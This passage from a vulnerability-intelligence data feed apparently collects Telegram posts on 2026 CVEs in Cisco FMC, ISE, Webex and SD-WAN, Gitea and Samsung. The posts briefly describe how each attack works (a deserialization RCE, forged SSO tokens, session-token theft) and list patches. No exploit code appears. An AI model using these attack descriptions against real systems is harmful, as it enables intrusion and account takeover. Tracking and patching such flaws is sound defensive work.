\u0447\u0442\u043e \u0435\u0441\u043b\u0438 \u043e\u043d \u0441\u0430\u043c \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u0432\u0445\u043e\u0434\u043d\u043e\u0439 \u0434\u0432\u0435\u0440\u044c\u044e? \ud83e\udd2f\n\nCVE-2026-20131 \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f RCE \u0432 Cisco Secure Firewall Management Center (FMC). CVSS: 10.0 \ud83d\udd34\n\n\ud83d\udca5 \u0421\u0443\u0442\u044c: \u041d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u0430\u044f \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f (CWE-502). \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441 \u0441 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c Java-\u043e\u0431\u044a\u0435\u043a\u0442\u043e\u043c \u2014 \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 root-\u0434\u043e\u0441\u0442\u0443\u043f \u0431\u0435\u0437 \u043b\u043e\u0433\u0438\u043d\u0430 \u0438 \u043f\u0430\u0440\u043e\u043b\u044f.\n\n\ud83d\udea8 \u0413\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 Interlock ransomware \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u044d\u0442\u043e \u043a\u0430\u043a zero-day \u0437\u0430 36 \u0434\u043d\u0435\u0439 \u0434\u043e \u043f\u0430\u0442\u0447\u0430!\n\n\ud83d\udee1 \u0427\u0442\u043e \u0434\u0435\u043b\u0430\u0442\u044c?\n1\ufe0f\u20e3 \u041e\u0431\u043d\u043e\u0432\u0438\u0442\u044c FMC \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0439 7.0.6.3 / 7.2.5.1 / 7.4.2.1+\n2\ufe0f\u20e3 \u0417\u0430\u043a\u0440\u044b\u0442\u044c \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043e\u0442 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430\n\n\ud83d\udcc4 \u041f\u043e\u043b\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u2014 \u0432 \u043f\u0440\u0438\u043a\u0440\u0435\u043f\u043b\u0451\u043d\u043d\u043e\u043c PDF! \ud83d\udc47\n\n\ud83d\udc8e \u042d\u043a\u0441\u043a\u043b\u044e\u0437\u0438\u0432\u043d\u044b\u0435 \u0440\u0430\u0437\u0431\u043e\u0440\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0440\u0430\u043d\u044c\u0448\u0435 \u0432\u0441\u0435\u0445 \u2014 \u0432 VIP-\u0432\u0435\u0440\u0441\u0438\u0438 \u043a\u0430\u043d\u0430\u043b\u0430: vip.eh.su \ud83d\ude80\n\n#Cisco #CVE #RCE #ZeroDay #Infosec #critical_bug", "creation_timestamp": "2026-07-19T16:00:12.728876Z"}, {"uuid": "53bd2c67-8b4e-475d-87e7-02ce77adf5d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://t.me/GithubRedTeam/98223", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #Exploit #CVE #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-20896-Gitea-Authentication-Bypass\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a judgedbykira\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-15 19:05:05\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nAn explanation and PoC to exploit CVE-2026-20896 Authentication Bypass Vulnerability on Gitea. Being able to steal session tokens for valid users in the Gitea instance.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-23T00:00:33.173887Z"}, {"uuid": "9f48b78e-f914-4180-b589-c3da5147509d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://t.me/critical_bug/1674", "content": "\ud83d\udcc4 \u041f\u043e\u043b\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 CVE-2026-20131: RCE \u0432 Cisco Secure Firewall Management Center", "creation_timestamp": "2026-07-19T16:00:12.764763Z"}, {"uuid": "1e45bb13-09eb-431f-b226-623b4423fde0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20184", "type": "published-proof-of-concept", "source": "https://t.me/critical_bug/1732", "content": "\ud83d\udcc4 \u041f\u043e\u043b\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 CVE-2026-20184 \u0432 PDF", "creation_timestamp": "2026-07-20T00:00:07.772199Z"}, {"uuid": "cf99075a-d7b9-42ac-ad21-bdd11f28e880", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20186", "type": "published-proof-of-concept", "source": "https://t.me/critical_bug/1730", "content": "\ud83d\udcc4 \u041f\u043e\u043b\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440: CVE-2026-20180 \u0438 CVE-2026-20186 \u0432 Cisco ISE", "creation_timestamp": "2026-07-20T00:00:07.328463Z"}, {"uuid": "1de4fa89-e3bc-44fe-be3c-0c21b0a837e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20180", "type": "published-proof-of-concept", "source": "https://t.me/critical_bug/1730", "content": "\ud83d\udcc4 \u041f\u043e\u043b\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440: CVE-2026-20180 \u0438 CVE-2026-20186 \u0432 Cisco ISE", "creation_timestamp": "2026-07-20T00:00:07.358628Z"}, {"uuid": "eaec10d1-5e76-4f2a-94da-35f095848a91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20186", "type": "published-proof-of-concept", "source": "https://t.me/critical_bug/1729", "content": "\ud83d\udd25 Cisco ISE: \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 RCE \ud83d\udd34\n\n\u0415\u0441\u043b\u0438 \u0443 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0433\u043e \u0435\u0441\u0442\u044c \u0445\u043e\u0442\u044f \u0431\u044b Read Only Admin \u0432 Cisco ISE, \u044d\u0442\u043e\u0433\u043e \u0443\u0436\u0435 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e, \u0447\u0442\u043e\u0431\u044b \u0447\u0435\u0440\u0435\u0437 crafted HTTP request \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \ud83d\ude2c\n\n\u0420\u0435\u0447\u044c \u043f\u0440\u043e CVE-2026-20180 \u0438 CVE-2026-20186. Cisco \u043e\u0446\u0435\u043d\u0438\u0432\u0430\u0435\u0442 \u0441\u0432\u044f\u0437\u043a\u0443 \u0432 CVSS 9.9 Critical.\n\n\ud83d\udca5 \u0420\u0438\u0441\u043a\u0438:\n\u2022 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434 \u043d\u0430 ISE\n\u2022 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u0430\u044f \u044d\u0441\u043a\u0430\u043b\u0430\u0446\u0438\u044f \u0434\u043e root\n\u2022 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0439 DoS single-node deployment\n\n\ud83d\udee1 \u0427\u0442\u043e \u0434\u0435\u043b\u0430\u0442\u044c:\n\u2022 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e 3.2 Patch 8 / 3.3 Patch 8 / 3.4 Patch 4\n\u2022 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c admin-\u0434\u043e\u0441\u0442\u0443\u043f\u044b\n\u2022 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c management-\u0434\u043e\u0441\u0442\u0443\u043f\n\u2022 \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u043b\u043e\u0433\u0438\n\n\ud83d\udcc4 \u041f\u043e\u043b\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u2014 \u0432 PDF \u043d\u0438\u0436\u0435 \ud83d\udc47\n\n\ud83d\udc8e VIP-\u0432\u0435\u0440\u0441\u0438\u044f \u043a\u0430\u043d\u0430\u043b\u0430: https://vip.eh.su \ud83d\ude80\n\n#Cisco #ISE #CVE #RCE #CyberSecurity #Infosec #critical_bug", "creation_timestamp": "2026-07-20T00:00:07.434933Z"}, {"uuid": "9c072584-7ff1-4faa-84b2-d56fb9ebe283", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20180", "type": "published-proof-of-concept", "source": "https://t.me/critical_bug/1729", "content": "\ud83d\udd25 Cisco ISE: \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 RCE \ud83d\udd34\n\n\u0415\u0441\u043b\u0438 \u0443 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0433\u043e \u0435\u0441\u0442\u044c \u0445\u043e\u0442\u044f \u0431\u044b Read Only Admin \u0432 Cisco ISE, \u044d\u0442\u043e\u0433\u043e \u0443\u0436\u0435 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e, \u0447\u0442\u043e\u0431\u044b \u0447\u0435\u0440\u0435\u0437 crafted HTTP request \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \ud83d\ude2c\n\n\u0420\u0435\u0447\u044c \u043f\u0440\u043e CVE-2026-20180 \u0438 CVE-2026-20186. Cisco \u043e\u0446\u0435\u043d\u0438\u0432\u0430\u0435\u0442 \u0441\u0432\u044f\u0437\u043a\u0443 \u0432 CVSS 9.9 Critical.\n\n\ud83d\udca5 \u0420\u0438\u0441\u043a\u0438:\n\u2022 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434 \u043d\u0430 ISE\n\u2022 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u0430\u044f \u044d\u0441\u043a\u0430\u043b\u0430\u0446\u0438\u044f \u0434\u043e root\n\u2022 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0439 DoS single-node deployment\n\n\ud83d\udee1 \u0427\u0442\u043e \u0434\u0435\u043b\u0430\u0442\u044c:\n\u2022 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e 3.2 Patch 8 / 3.3 Patch 8 / 3.4 Patch 4\n\u2022 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c admin-\u0434\u043e\u0441\u0442\u0443\u043f\u044b\n\u2022 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c management-\u0434\u043e\u0441\u0442\u0443\u043f\n\u2022 \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u043b\u043e\u0433\u0438\n\n\ud83d\udcc4 \u041f\u043e\u043b\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u2014 \u0432 PDF \u043d\u0438\u0436\u0435 \ud83d\udc47\n\n\ud83d\udc8e VIP-\u0432\u0435\u0440\u0441\u0438\u044f \u043a\u0430\u043d\u0430\u043b\u0430: https://vip.eh.su \ud83d\ude80\n\n#Cisco #ISE #CVE #RCE #CyberSecurity #Infosec #critical_bug", "creation_timestamp": "2026-07-20T00:00:07.469532Z"}, {"uuid": "9eb57944-4065-46a7-a099-3505fc0575d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20184", "type": "published-proof-of-concept", "source": "https://t.me/critical_bug/1731", "content": "\ud83d\udc31 hacker voice WHO VALIDATED THIS CERT? \ud83d\udd34\n\n\ud83d\udd25 CVE-2026-20184: \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Cisco Webex SSO\n\nCVSS: 9.8 Critical\n\n\u0415\u0441\u043b\u0438 \u0443 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0432\u043a\u043b\u044e\u0447\u0451\u043d Webex \u0447\u0435\u0440\u0435\u0437 SSO \u0441 trust anchors, \u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0433 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u044c\u0441\u044f \u043a endpoint \u0441\u0435\u0440\u0432\u0438\u0441\u0430, \u043f\u043e\u0434\u0441\u0443\u043d\u0443\u0442\u044c crafted token \u0438 \u0432\u044b\u0434\u0430\u0442\u044c \u0441\u0435\u0431\u044f \u043f\u043e\u0447\u0442\u0438 \u0437\u0430 \u043b\u044e\u0431\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \ud83d\ude2c\n\n\ud83d\udca5 \u0421\u0443\u0442\u044c \u0431\u0430\u0433\u0430:\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0432 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0435 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0432 \u0432 \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0438 SSO \u0441 Control Hub. \u041d\u0435 \u043d\u0443\u0436\u0435\u043d \u043d\u0438 \u043b\u043e\u0433\u0438\u043d, \u043d\u0438 \u043a\u043b\u0438\u043a \u043e\u0442 \u0436\u0435\u0440\u0442\u0432\u044b \u2014 \u0435\u0441\u043b\u0438 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u0430, \u0431\u0430\u0433 \u0431\u044c\u0451\u0442 \u043f\u0440\u044f\u043c\u043e \u043f\u043e \u0434\u043e\u0432\u0435\u0440\u0438\u044e \u043a \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\ud83d\udea8 \u0427\u0435\u043c \u044d\u0442\u043e \u043e\u043f\u0430\u0441\u043d\u043e?\n\u2014 \u0432\u0445\u043e\u0434 \u0432 Webex \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u0430\n\u2014 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0437\u0432\u043e\u043d\u043a\u0430\u043c, \u0447\u0430\u0442\u0430\u043c, \u0437\u0430\u043f\u0438\u0441\u044f\u043c \u0438 \u0444\u0430\u0439\u043b\u0430\u043c\n\u2014 \u0443\u0434\u043e\u0431\u043d\u0430\u044f \u0431\u0430\u0437\u0430 \u0434\u043b\u044f \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u0439 \u0441\u043e\u0446\u0438\u043d\u0436\u0435\u043d\u0435\u0440\u0438\u0438\n\n\ud83d\udee1 \u0427\u0442\u043e \u0434\u0435\u043b\u0430\u0442\u044c \u043f\u0440\u044f\u043c\u043e \u0441\u0435\u0439\u0447\u0430\u0441?\n1. \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u043b\u0438 trust anchors \u0432 SSO\n2. \u0417\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u043d\u043e\u0432\u044b\u0439 IdP SAML certificate \u0432 Control Hub\n3. \u041f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u043b\u043e\u0433\u0438 \u0432\u0445\u043e\u0434\u043e\u0432 \u0438 \u0430\u043d\u043e\u043c\u0430\u043b\u044c\u043d\u0443\u044e \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c\n\n\ud83d\udcc4 \u041f\u043e\u043b\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u2014 \u0432 PDF \u043d\u0438\u0436\u0435 \ud83d\udc47\n\n\ud83d\udc8e \u0411\u043e\u043b\u044c\u0448\u0435 \u044d\u043a\u0441\u043a\u043b\u044e\u0437\u0438\u0432\u043d\u044b\u0445 \u0440\u0430\u0437\u0431\u043e\u0440\u043e\u0432 \u0438 VIP-\u043a\u043e\u043d\u0442\u0435\u043d\u0442\u0430: VIP-\u0432\u0435\u0440\u0441\u0438\u044f \u043a\u0430\u043d\u0430\u043b\u0430 \ud83d\ude80\n\n#Cisco #Webex #CVE #SSO #CyberSecurity #Infosec #criticalbug", "creation_timestamp": "2026-07-20T00:00:07.807813Z"}, {"uuid": "2d00c141-31b2-4b40-9ead-37c6538a4a44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "exploited", "source": "https://t.me/MalaysiaHacktivistz/18849", "content": "Cisco Fixes Actively Exploited Zero-Day CVE-2026-20045 in Unified CM and Webex \u2013 thehackernews.com\n\nThu, 22 Jan 2026 12:06:00", "creation_timestamp": "2026-07-20T00:00:09.712358Z"}, {"uuid": "1f8f1fc4-b750-4ddb-bb4b-8e7ae1e77a49", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://t.me/MalaysiaHacktivistz/21582", "content": "CISA Adds Cisco SD-WAN CVE-2026-20182 to KEV After Admin Access Exploits \u2013 thehackernews.com\n\nFri, 15 May 2026 13:28:03", "creation_timestamp": "2026-07-20T00:00:21.915990Z"}, {"uuid": "879e9741-c635-4b21-8a19-329e2e3d8df6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "exploited", "source": "https://t.me/MalaysiaHacktivistz/22841", "content": "Threat Actors Probe Gitea Docker Flaw CVE-2026-20896 13 Days After Disclosure \u2013 thehackernews.com\n\nTue, 07 Jul 2026 00:28:59", "creation_timestamp": "2026-07-20T00:00:22.602053Z"}, {"uuid": "849e69bf-5ef6-46d9-a576-0891dfe73f3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "exploited", "source": "https://t.me/MalaysiaHacktivistz/20164", "content": "Interlock Ransomware Exploits Cisco FMC Zero-Day CVE-2026-20131 for Root Access \u2013 thehackernews.com\n\nThu, 19 Mar 2026 00:00:00", "creation_timestamp": "2026-07-20T00:00:20.853474Z"}, {"uuid": "23c89e11-1d33-485a-87f9-c91ba88f253e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "exploited", "source": "https://t.me/MalaysiaHacktivistz/19561", "content": "Cisco SD-WAN Zero-Day CVE-2026-20127 Exploited Since 2023 for Admin Access \u2013 thehackernews.com\n\nThu, 26 Feb 2026 14:13:00", "creation_timestamp": "2026-07-20T00:00:21.077203Z"}, {"uuid": "0f2229d9-85d7-4b9f-ab0f-90215b066030", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "exploited", "source": "https://t.me/MalaysiaHacktivistz/22134", "content": "Cisco Catalyst SD-WAN Manager CVE-2026-20245 Flaw Actively Exploited \u2013 No Patch Available \u2013 thehackernews.com\n\nSat, 06 Jun 2026 12:19:28", "creation_timestamp": "2026-07-20T00:00:22.216457Z"}, {"uuid": "a3f86118-21fa-43ea-9d51-300c8bd09690", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "published-proof-of-concept", "source": "https://t.me/MalaysiaHacktivistz/22104", "content": "Cisco Patches CVE-2026-20230 in Unified CM as Exploit Code Goes Public \u2013 thehackernews.com\n\nFri, 05 Jun 2026 00:55:51", "creation_timestamp": "2026-07-20T00:00:22.236363Z"}, {"uuid": "ce872041-514f-4a2a-8799-51c3cc3bdc3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "exploited", "source": "https://t.me/MalaysiaHacktivistz/22578", "content": "Cisco Catalyst SD-WAN Zero-Day CVE-2026-20245 Exploited to Gain Root Access \u2013 thehackernews.com\n\nThu, 25 Jun 2026 13:46:54", "creation_timestamp": "2026-07-20T00:00:22.839177Z"}, {"uuid": "6d441c67-c55a-46b5-b0a9-889ae98c8f29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://t.me/critical_bug/1673", "content": "\ud83d\udd25 \u041d\u0443\u043b\u0435\u0432\u043e\u0439 \u0434\u0435\u043d\u044c, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u043f\u0430\u043b\u0438\u043b \u0444\u0430\u0439\u0440\u0432\u043e\u043b\u044b: CVE-2026-20131\n\n\u0424\u0430\u0439\u0440\u0432\u043e\u043b \u0434\u043e\u043b\u0436\u0435\u043d \u0437\u0430\u0449\u0438\u0449\u0430\u0442\u044c \u0441\u0435\u0442\u044c, \u043d\u043e \u0447\u0442\u043e \u0435\u0441\u043b\u0438 \u043e\u043d \u0441\u0430\u043c \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u0432\u0445\u043e\u0434\u043d\u043e\u0439 \u0434\u0432\u0435\u0440\u044c\u044e? \ud83e\udd2f\n\nCVE-2026-20131 \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f RCE \u0432 Cisco Secure Firewall Management Center (FMC). CVSS: 10.0 \ud83d\udd34\n\n\ud83d\udca5 \u0421\u0443\u0442\u044c: \u041d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u0430\u044f \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f (CWE-502). \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441 \u0441 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c Java-\u043e\u0431\u044a\u0435\u043a\u0442\u043e\u043c \u2014 \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 root-\u0434\u043e\u0441\u0442\u0443\u043f \u0431\u0435\u0437 \u043b\u043e\u0433\u0438\u043d\u0430 \u0438 \u043f\u0430\u0440\u043e\u043b\u044f.\n\n\ud83d\udea8 \u0413\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 Interlock ransomware \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u044d\u0442\u043e \u043a\u0430\u043a zero-day \u0437\u0430 36 \u0434\u043d\u0435\u0439 \u0434\u043e \u043f\u0430\u0442\u0447\u0430!\n\n\ud83d\udee1 \u0427\u0442\u043e \u0434\u0435\u043b\u0430\u0442\u044c?\n1\ufe0f\u20e3 \u041e\u0431\u043d\u043e\u0432\u0438\u0442\u044c FMC \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0439 7.0.6.3 / 7.2.5.1 / 7.4.2.1+\n2\ufe0f\u20e3 \u0417\u0430\u043a\u0440\u044b\u0442\u044c \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043e\u0442 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430\n\n\ud83d\udcc4 \u041f\u043e\u043b\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u2014 \u0432 \u043f\u0440\u0438\u043a\u0440\u0435\u043f\u043b\u0451\u043d\u043d\u043e\u043c PDF! \ud83d\udc47\n\n\ud83d\udc8e \u042d\u043a\u0441\u043a\u043b\u044e\u0437\u0438\u0432\u043d\u044b\u0435 \u0440\u0430\u0437\u0431\u043e\u0440\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0440\u0430\u043d\u044c\u0448\u0435 \u0432\u0441\u0435\u0445 \u2014 \u0432 VIP-\u0432\u0435\u0440\u0441\u0438\u0438 \u043a\u0430\u043d\u0430\u043b\u0430: vip.eh.su \ud83d\ude80\n\n#Cisco #CVE #RCE #ZeroDay #Infosec #critical_bug", "creation_timestamp": "2026-07-20T00:00:25.731042Z"}, {"uuid": "9d7c6060-a284-4f4e-8a9d-1fbea2ef2146", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://t.me/critical_bug/1674", "content": "\ud83d\udcc4 \u041f\u043e\u043b\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 CVE-2026-20131: RCE \u0432 Cisco Secure Firewall Management Center", "creation_timestamp": "2026-07-20T00:00:25.762995Z"}, {"uuid": "b092c9a5-ad98-4fb2-a436-29c7f4049f95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20971", "type": "published-proof-of-concept", "source": "https://t.me/cKure/16645", "content": "\u25a0\u25a0\u25a0\u25a0\u25a0 Samsung Kernel UAF 